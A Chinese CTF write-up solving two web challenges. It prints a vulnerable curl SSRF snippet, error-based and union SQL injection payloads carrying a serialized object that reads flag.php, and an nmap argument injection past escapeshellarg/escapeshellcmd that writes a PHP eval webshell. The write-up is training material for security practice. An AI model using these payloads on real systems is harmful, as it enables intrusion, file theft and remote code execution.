CTF题记——详谈两道Web题

  • A+
所属分类:安全文章


CTF题记——详谈两道Web题

沙漏安全团队

欢迎真正热爱技术的你!


前言:最近学校也在招新,基本没什么时间做题,最近也很少发博客。就写几道题来充充数吧。
CTF题记——详谈两道Web题
CTF题记——详谈两道Web题

 正 文  

CTF题记——详谈两道Web题
CTF题记——详谈两道Web题

fakebook

CTF题记——详谈两道Web题
m0re

我的思路呢,只有一点沾边了,记一下现在的思考:注册了一个username就找不到其他信息了,然后考虑了源码泄露。找了robots.txt,发现了一个user.php.bak,访问得到泄露的文件。是这样

<?phpclass UserInfo{    public $name = "";    public $age = 0;    public $blog = "";    public function __construct($name, $age, $blog)    {        $this->name = $name;        $this->age = (int)$age;        $this->blog = $blog;    }    function get($url)    {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);        $output = curl_exec($ch);        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);        if($httpCode == 404) {            return 404;        }        curl_close($ch);        return $output;    }    public function getBlogContents ()    {        return $this->get($this->blog);    }    public function isValidBlog ()    {        $blog = $this->blog;        return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog);    }}

然后大概看了一眼,没get到信息(太菜了,做题少),就先放一边了,继续查看有没有其他信息泄露的,所以就扫了一下。然鹅没发现其他信息了,还提示请求过多,然后就重启了靶机。接着 看到了

CTF题记——详谈两道Web题
m0re

猜想这些信息写到了这里,注册信息会显示在这里,应该是有SQL注入的。所以就丢sqlmap里进行探测了,刚探测出来一个数据库名的第一个字母靶机又崩了。emmm,所以没有继续尝试。看那个文件,重点在get(url)的函数中,百度查了一下,发现了有趣的知识,curl导致SSRF漏洞。然后复现一下这个漏洞。漏洞代码如下:

function curl($url){      $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, $url);    curl_setopt($ch, CURLOPT_HEADER, 0);    $re = curl_exec($ch);    curl_close($ch);    return $re;}$url = $_GET['url'];echo curl($url);
CTF题记——详谈两道Web题
m0re

而且在实验时我给的权限比较高,所以可以直接使用file命令来读取文件。

?url=file:///C://m0re.txt
CTF题记——详谈两道Web题
m0re

当然知道网站根目录后还可以进行读取配置文件。可以直接读取根目录下的config.php我这里是windows系统搭建的环境,所以就读取一下根目录的首页。

CTF题记——详谈两道Web题
m0re

简单利用到此为止。不过这道题还是不知道怎么利用。所以wp复现大师傅们的思路。看了wp发现还可以用御剑扫描一下敏感信息,发现了flag.php这个文件。然后就是SQL注入手注。发送过多数据包会被禁止访问的。

CTF题记——详谈两道Web题
m0re

改成and 1=2#报错

CTF题记——详谈两道Web题
m0re

这里使用报错注入进行测试

CTF题记——详谈两道Web题
m0re

有四列 直接查看它的表,这里使用make_set函数

?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
CTF题记——详谈两道Web题
m0re

然后老套路

爆列名?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#爆字段?no=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#
CTF题记——详谈两道Web题
m0re

注入出来的数据是经过序列化的。最后的时候,发现在view.php中是可以看到博客链接中的内容的。

CTF题记——详谈两道Web题
m0re

查看源码,

CTF题记——详谈两道Web题
m0re

base64解出来是百度的首页源码。所以这里应该是显示链接界面的源码的。那么之前查看到flag.php在网站根目录中,所以现在要做的就是读取flag.php的源码。目的很明确了,接下来就是进行解题,利用存在的SSRF漏洞使用file读取flag.php的源码。 flag.php的路径为/var/www/html/flag.php所以需要进行构造下面的SQL

?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

之前源码泄漏得到的user.php的源码,进行序列化

CTF题记——详谈两道Web题
m0re

代码:

<?phpclass UserInfo{    public $name = "test";    public $age = 111;    public $blog = "file:///var/www/html/flag.php";}$m0re_1 = new UserInfo();$m0re_2 = serialize($m0re_1);echo($m0re_2);?>#序列化结果#O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:111;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

因为对SQL注入的union和select等有过滤,所以用/**/来进行绕过

CTF题记——详谈两道Web题
m0re

然而这样就可以绕过

CTF题记——详谈两道Web题
m0re

成功。

CTF题记——详谈两道Web题
m0re

解出base64编码得到flag.php的源码 得到flag。

NMAP

查看源码看到注释

CTF题记——详谈两道Web题
m0re

看到这个框,首先想到了命令注入,原本思路跑偏了,直接在后面拼接命令行了,(憨憨行为hh)我把nmap直接忽略了。正确思路是,使用nmap的参数命令来进行写入文件。

-oN 尝试将扫描内容写入文件保存输出

' -oN m0re.txt '(注意引号也输入) 然后会在根目录写下m0re.txt,直接访问。

CTF题记——详谈两道Web题
m0re

看到这里就有思路了吧,直接写一句话。但是有过滤机制' -oN m0re.php <?php phpinfo()?> '

CTF题记——详谈两道Web题
m0re

进一步测试发现过滤的是php这个字符串 可以使用.phtml文件,在文件上传中有很多绕过.php的方法。 ' -oN m0re.phtml <?=eval($_POST[a]);?> ' 没有hacker...就是写入成功了。蚁剑连接

CTF题记——详谈两道Web题
m0re

得到flag。可以通过蚁剑下载文件到本地测试。也可以看看源码 index.php

<?require('settings.php');set_time_limit(0);if (isset($_POST['host'])):    if (!defined('WEB_SCANS')) {            die('Web scans disabled');    }    $host = $_POST['host'];    if(stripos($host,'php')!==false){        die("Hacker...");    }    $host = escapeshellarg($host);    $host = escapeshellcmd($host);    $filename = substr(md5(time() . rand(1, 10)), 0, 5);    $command = "nmap ". NMAP_ARGS . " -oX " . RESULTS_PATH . $filename . " " . $host;    $result_scan = shell_exec($command);    if (is_null($result_scan)) {        die('Something went wrong');    } else {        header('Location: result.php?f=' . $filename);    }else:?>

$host = escapeshellarg($host); $host = escapeshellcmd($host); 找到这个PHP escapeshellarg()+escapeshellcmd() 之殇 先查一下这两个函数是什么功能。看到P神也写过一篇这样的文章 谈escapeshellarg绕过与参数注入漏洞

CTF题记——详谈两道Web题
m0re
CTF题记——详谈两道Web题
m0re

https://zhuanlan.zhihu.com/p/145906109 这个师傅写的很清楚,很好理解。所以我也本地实现一下。

CTF题记——详谈两道Web题
m0re

在根目录下创建一个flag文件 注意是在根目录,而不是在系统根目录。这样的

CTF题记——详谈两道Web题
m0re

然后执行文件。

CTF题记——详谈两道Web题
m0re

没发现flag内容 然而将$a改成127.0.0.1' -iL /flag -oN m0re.txt 再次执行

CTF题记——详谈两道Web题
m0re

会发现flag已经被读取了,而且写出一个文件是m0re.txt 可以达到读取文件的效果。经过两个函数进行转义,$a已经成了'127.0.0.1'\'' -iL /flag -oN juju.txt ' 原因看过程

127.0.0.1' -iL /flag -oN m0re.txt'127.0.0.1''' -iL /flag -oN m0re.txt''127.0.0.1'\'' -iL /flag -oN m0re.txt'

看大佬的解析。

CTF题记——详谈两道Web题
m0re

这个认真看很容易看懂的。首先转义单引号。成了127.0.0.1' -iL /flag -oN m0re.txt 然后给两遍加了单引号起连接作用,成了'127.0.0.1''' -iL /flag -oN m0re.txt' 以上是arg这个函数在起作用,然后呢就是cmd这个函数,进行转义变成 \然后将最后那个没配对的单引号也给转义了,就成了最后一个payload了。这是我自己的理解。

CTF题记——详谈两道Web题
CTF题记——详谈两道Web题

平顶山学院· 沙漏安全团队

    微信号|SLteam666

奋发努力|拼搏向上   

本期编辑|bosounho

本文始发于微信公众号(网络安全攻防训练营):CTF题记——详谈两道Web题

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: